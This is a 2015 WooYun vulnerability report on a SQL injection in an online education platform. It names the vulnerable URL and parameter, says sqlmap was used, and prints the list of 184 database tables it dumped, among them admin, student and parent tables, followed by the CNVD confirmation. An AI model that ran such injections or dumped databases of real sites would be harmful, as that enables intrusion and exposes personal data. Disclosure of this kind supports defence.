当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125439

漏洞标题:和谐号微教育平台存在SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-07-10 23:54

修复时间:2015-08-28 14:02

公开时间:2015-08-28 14:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-10: 细节已通知厂商并且等待厂商处理中
2015-07-14: 厂商已经确认,细节仅向厂商公开
2015-07-24: 细节向核心白帽子及相关领域专家公开
2015-08-03: 细节向普通白帽子公开
2015-08-13: 细节向实习白帽子公开
2015-08-28: 细节向公众公开

简要描述:

人生第一次挖出洞,求支持!!

详细说明:

http://www.367edu.com/?a=web.index&uid=8890


sqlmap简单挖挖就出来了

漏洞证明:

http://www.367edu.com/?a=web.index&uid=8890


image_20150708.png


image_20150708(3).png


Database: 367edu
[184 tables]
+--------------------------------------+
| admin |
| agent |
| album |
| album_group |
| article_category |
| article_category_copy |
| articles |
| articles_comment |
| articles_description |
| articles_praise |
| comm_group_rule |
| comm_modules |
| comm_modules_20141113 |
| comm_modules_menu |
| comm_modules_menu_items |
| comm_templates |
| lib_article |
| lib_article_category |
| lib_article_content |
| lib_category |
| lib_media |
| lib_series |
| lib_users_article |
| lib_users_article_category |
| lib_users_article_content |
| lib_users_media |
| lib_users_media_category |
| lib_users_media_comment |
| lib_users_media_praise |
| lib_users_media_series |
| member |
| member_group |
| member_info |
| member_message |
| panorama |
| plugin_center |
| plugin_center_nav |
| plugin_loss |
| plugin_loss_record |
| plugin_query |
| plugin_query_data |
| plugin_query_field |
| plugin_qunfa |
| plugin_repair |
| plugin_repair_record |
| plugin_room |
| plugin_room_articles |
| plugin_room_articles_category |
| plugin_room_comment |
| plugin_room_record |
| plugin_share |
| plugin_share_item |
| plugin_share_log |
| plugin_signin |
| plugin_signin_level |
| plugin_signin_prize_record |
| plugin_signin_record |
| plugin_transcripts |
| plugin_transcripts_items |
| plugin_transcripts_items_20150126 |
| plugin_transcripts_items_20150414 |
| plugin_transcripts_items_20150414bak |
| plugin_user_integral |
| plugin_zadan |
| plugin_zadan_items |
| plugin_zadan_record |
| quanzi |
| quanzi_article |
| quanzi_article_attn |
| quanzi_article_comment |
| quanzi_article_content |
| quanzi_article_praise |
| quanzi_article_recommend |
| quanzi_category |
| quanzi_member |
| quanzi_setting |
| sc_base_setting |
| sc_binding_check |
| sc_campus |
| sc_class |
| sc_class_album |
| sc_class_album_group |
| sc_class_forum |
| sc_class_info |
| sc_class_notice |
| sc_class_post |
| sc_class_post_1209 |
| sc_class_post_attn |
| sc_class_post_comment |
| sc_class_post_praise |
| sc_class_praise |
| sc_class_teacher |
| sc_grade |
| sc_member_message |
| sc_period |
| sc_score |
| sc_score_details |
| sc_score_extend_details |
| sc_score_extend_item |
| sc_score_extend_item_group |
| sc_structure |
| sc_structure_letter |
| sc_structure_letter_comment |
| sc_structure_letter_read_log |
| sc_structure_str_letter |
| sc_structure_teacher |
| sc_student |
| sc_student_binding |
| sc_student_extfield |
| sc_student_extinfo |
| sc_student_group |
| sc_student_integral_bank |
| sc_student_integral_details |
| sc_student_log |
| sc_student_parents |
| sc_student_parents_20141115 |
| sc_student_query |
| sc_student_query_category |
| sc_student_query_data |
| sc_student_stu_group |
| sc_subject |
| sc_teacher |
| sc_teacher_group |
| sc_teacher_info |
| sc_teacher_jobs_log |
| selfform |
| selfform_content |
| selfform_input |
| selfform_vals |
| special |
| special_articles |
| special_articles_content |
| special_category |
| special_section |
| survey |
| survey_category |
| survey_content |
| survey_item |
| survey_item_option |
| survey_member_log |
| survey_vals |
| tmp_images |
| users |
| users_admin |
| users_admin_group |
| users_attachment |
| users_fun_authority |
| users_info |
| users_modules |
| users_wx |
| v_sc_binding_check |
| v_sc_class |
| v_sc_class_teacher |
| v_sc_student |
| v_sc_student_binding |
| v_sc_student_parents |
| v_sc_teacher_jobs_log |
| vote |
| vote_game_log |
| vote_item |
| vote_record |
| web_3g |
| web_3g_index |
| web_3g_menu_footer |
| web_3g_menu_footer_group |
| web_3g_menus |
| web_3g_menus_group |
| web_3g_menus_within |
| web_3g_menus_within_group |
| web_3g_slide |
| web_3g_slide_group |
| web_3g_sub_station |
| web_index_slide |
| web_info |
| web_links |
| web_menus |
| wx_default |
| wx_key_lib |
| wx_menus |
| wx_menus_20150105 |
| wxmsg_quene |
| wxmsg_quene_item |
| wxmsg_template |
| wxmsg_template_users |
+--------------------------------------+

修复方案:

不太了解^_^

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-07-14 14:01

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无